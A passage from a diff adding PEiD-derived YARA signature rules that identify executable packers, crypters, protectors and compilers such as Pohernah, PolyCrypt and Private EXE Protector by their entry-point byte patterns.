+        $a = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_01739_Pohernah_1_0_1___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.1 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01740_Pohernah_1_0_2___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.2 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+    condition:
+        $a
+}
+rule PEiD_01741_Pohernah_1_0_3___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.3 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED}
+    condition:
+        $a
+}
+
+rule PEiD_01742_Pohernah_Crypter_V1_0_1____Kas_
+{
+    meta:
+        description = "[Pohernah Crypter V1.0.1 -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24}
+    condition:
+        $a
+}
+
+rule PEiD_01743_Pohernah_Crypter_V1_0_2____Kas_
+{
+    meta:
+        description = "[Pohernah Crypter V1.0.2 -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11}
+    condition:
+        $a
+}
+
+rule PEiD_01744_PolyBox_C____Anskya_
+{
+    meta:
+        description = "[PolyBox C -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF}
+    condition:
+        $a
+}
+rule PEiD_01745_PolyBox_D____Anskya_
+{
+    meta:
+        description = "[PolyBox D -> Anskya]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01746_PolyCrypt_PE___2_1_4b_2_1_5____JLab_Software_Creations__h_oep__
+{
+    meta:
+        description = "[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)]"
+        ep_only = "false"
+    strings:
+        $a = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+    condition:
+        $a
+}
+rule PEiD_01747_PolyCrypt_PE___2_1_4b_2_1_5____JLab_Software_Creations__h_signed__
+{
+    meta:
+        description = "[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+    condition:
+        $a
+}
+
+rule PEiD_01748_PolyCryptor_by_SMT_Version__v3__v4_
+{
+    meta:
+        description = "[PolyCryptor by SMT Version %v3.%v4]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+    condition:
+        $a
+}
+rule PEiD_01749_PolyEnE_V0_01_____Lennart_Hedlund_
+{
+    meta:
+        description = "[PolyEnE V0.01+ -> Lennart Hedlund]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_01750_PoPa_0_01__Packer_on_Pascal_____bagie_
+{
+    meta:
+        description = "[PoPa 0.01 (Packer on Pascal) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10 33 D2 55 68 93 40 00 10 64 FF 32 64 89 22 83 3D 64 66 00 10 FF 0F 84 3A 01 00 00 6A 00 6A 00 6A 00 A1 64 66 00 10 50 E8 9B F6 FF FF 83 E8 10 50 A1 64 66 00 10 50 E8 BC F6 FF FF 6A 00 68 80 66 00 10 6A 10 68 68 66 00 10 A1 64 66 00 10 50 E8 8B F6 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01751_PowerBASIC_CC_3_0x_
+{
+    meta:
+        description = "[PowerBASIC/CC 3.0x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85}
+    condition:
+        $a
+}
+
+rule PEiD_01752_PowerBASIC_CC_4_0_
+{
+    meta:
+        description = "[PowerBASIC/CC 4.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 68 05 00 00 E9 6E 03}
+    condition:
+        $a
+}
+
+rule PEiD_01753_PowerBASIC_Win_7_0x_
+{
+    meta:
+        description = "[PowerBASIC/Win 7.0x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01754_PowerBASIC_Win_8_00_
+{
+    meta:
+        description = "[PowerBASIC/Win 8.00]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 14 04 00 00 E9 19 02}
+    condition:
+        $a
+}
+
+rule PEiD_01755_PPC_PROTECT_1_1X____Alexey_Gorchakov_
+{
+    meta:
+        description = "[PPC-PROTECT 1.1X -> Alexey Gorchakov]"
+        ep_only = "true"
+    strings:
+        $a = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+    condition:
+        $a
+}
+rule PEiD_01756_Prepared_by_SLR__OPTLINK__
+{
+    meta:
+        description = "[Prepared by SLR (OPTLINK)]"
+        ep_only = "true"
+    strings:
+        $a = {87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 ?? ?? 16 07 0E 1F}
+    condition:
+        $a
+}
+
+rule PEiD_01757_PrincessSandy_1_0_eMiNENCE_Process_Patcher_Patch_
+{
+    meta:
+        description = "[PrincessSandy 1.0 eMiNENCE Process Patcher Patch]"
+        ep_only = "false"
+    strings:
+        $a = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+    condition:
+        $a
+}
+
+rule PEiD_01758_PrincessSandy_v1_0_eMiNENCE_Process_Patcher_Patch_
+{
+    meta:
+        description = "[PrincessSandy v1.0 eMiNENCE Process Patcher Patch]"
+        ep_only = "false"
+    strings:
+        $a = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 57 6A 00 E8 CE 00 00 00 85 C0 74 78 BD 50 C3 00 00 8B 3D 04 20 40 00 8B 07 8D 3C 07 83 C7 04 89 3D 04 20 40 00 8B 0F 83 C7 04 8B 1F 83 C7 04 4D 85 ED 74 57 60 6A 00 51 68 5C 20 40 00 53 FF 35 4C 20 40 00 E8 93 00 00 00 85 C0 61 74 E1 8B C1 60 BE 5C 20 40 00 F3 A6 74 03 61 EB D2 60 6A 00 50 57 53 FF 35 4C 20 40 00 E8 7A 00 00 00 85 C0 74 20 61 83 3C 07 00 74 2D 03 F8 EB A8 B8 5E 21 40 00 EB 13 B8 7C 21 40 00 EB 0C B8 9E 21 40 00 EB 05 B8 CF 21 40 00 6A 00 68 56}
+    condition:
+        $a
+}
+
+rule PEiD_01759_Private_EXE_Protector_1_8____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.8 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+    condition:
+        $a
+}
+rule PEiD_01760_Private_EXE_Protector_1_8_
+{
+    meta:
+        description = "[Private EXE Protector 1.8]"
+        ep_only = "false"
+    strings:
+        $a = {BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0}
+    condition:
+        $a
+}
+
+rule PEiD_01761_Private_EXE_Protector_1_9_7____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.9.7 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05}
+    condition:
+        $a
+}
+
+rule PEiD_01762_Private_EXE_Protector_1_9_7____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.9.7 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+    condition:
+        $a
+}
+
+rule PEiD_01763_Private_Exe_Protector_1_x____setisoft_
+{
+    meta:
+        description = "[Private Exe Protector 1.x -> setisoft]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_01764_Private_EXE_Protector_2_0____SetiSoft_
+{
+    meta:
+        description = "[Private EXE Protector 2.0 -> SetiSoft]"
+        ep_only = "true"
+    strings:
+        $a = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01765_Private_exe_Protector_2_15____SetiSoft_Team_
+{
+    meta:
+        description = "[Private exe Protector 2.15 -> SetiSoft Team]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01766_Private_exe_Protector_V1_8X_V1_9X____SetiSoft_Team_
+{
+    meta:
+        description = "[Private exe Protector V1.8X-V1.9X -> SetiSoft Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_01767_Private_exe_Protector_V2_0____SetiSoft_Team___Sign_by_fly_
+{
+    meta:
+        description = "[Private exe Protector V2.0 -> SetiSoft Team ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01768_Private_EXE_v2_0a_
+{
+    meta:
+        description = "[Private EXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {53 E8 00 00 00 00 5B 8B C3 2D}
+    condition:
+        $a
+}
+
+rule PEiD_01769_Private_EXE_v2_0a_
+{
+    meta:
+        description = "[Private EXE v2.0a]"
+        ep_only = "false"
+    strings:
+        $a = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D}
+    condition:
+        $a
+}
+rule PEiD_01770_Private_Personal_Packer__PPP__1_0_2____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8}
+    condition:
+        $a
+}
+
+rule PEiD_01771_Private_Personal_Packer__PPP__1_0_2____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+    condition:
+        $a
+}
+
+rule PEiD_01772_Private_Personal_Packer__PPP__1_0_3____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.3 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+    condition:
+        $a
+}
+
+rule PEiD_01773_Private_Personal_Packer__PPP__v1_0_2_____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01774_PrivateEXE_v2_0a_
+{
+    meta:
+        description = "[PrivateEXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+    condition:
+        $a
+}
+
+rule PEiD_01775_PrivateEXE_v2_0a_
+{
+    meta:
+        description = "[PrivateEXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B}
+    condition:
+        $a
+}
+rule PEiD_01776_PRO_MIDI_Music_file_
+{
+    meta:
+        description = "[PRO-MIDI Music file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 52 4D 49 44}
+    condition:
+        $a
+}
+
+rule PEiD_01777_PRO_PACK_v2_08__emphasis_on_packed_size__locked_
+{
+    meta:
+        description = "[PRO-PACK v2.08, emphasis on packed size, locked]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01778_PRO_PACK_v2_08_
+{
+    meta:
+        description = "[PRO-PACK v2.08]"
+        ep_only = "true"
+    strings:
+        $a = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+    condition:
+        $a
+}
+
+rule PEiD_01779_ProActivate_V1_0X____TurboPower_Software_Company___Sign_by_fly_
+{
+    meta:
+        description = "[ProActivate V1.0X -> TurboPower Software Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33}
+    condition:
+        $a
+}
+rule PEiD_01780_ProActivate_V1_0X____TurboPower_Software_Company_
+{
+    meta:
+        description = "[ProActivate V1.0X -> TurboPower Software Company]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D}
+    condition:
+        $a
+}
+
+rule PEiD_01781_Program_Protector_XP_v1_0_
+{
+    meta:
+        description = "[Program Protector XP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+    condition:
+        $a
+}
+
+rule PEiD_01782_Protect_Shareware_1_1____eCompserv_CMS_
+{
+    meta:
+        description = "[Protect Shareware 1.1 -> eCompserv CMS]"
+        ep_only = "false"
+    strings:
+        $a = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01783_Protect_Shareware_V1_1____eCompserv_CMS_
+{
+    meta:
+        description = "[Protect Shareware V1.1 -> eCompserv CMS]"
+        ep_only = "false"
+    strings:
+        $a = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4A 00 76 00 77 00}
+    condition:
+        $a
+}
+
+rule PEiD_01784_PROTECT__EXE_COM_v5_0_
+{
+    meta:
+        description = "[PROTECT! EXE/COM v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 0E 1F 07}
+    condition:
+        $a
+}
+
+rule PEiD_01785_PROTECT__EXE_COM_v6_0_
+{
+    meta:
+        description = "[PROTECT! EXE/COM v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_01786_Protection_Plus_vx_x_
+{
+    meta:
+        description = "[Protection Plus vx.x]"
+        ep_only = "true"
+    strings:
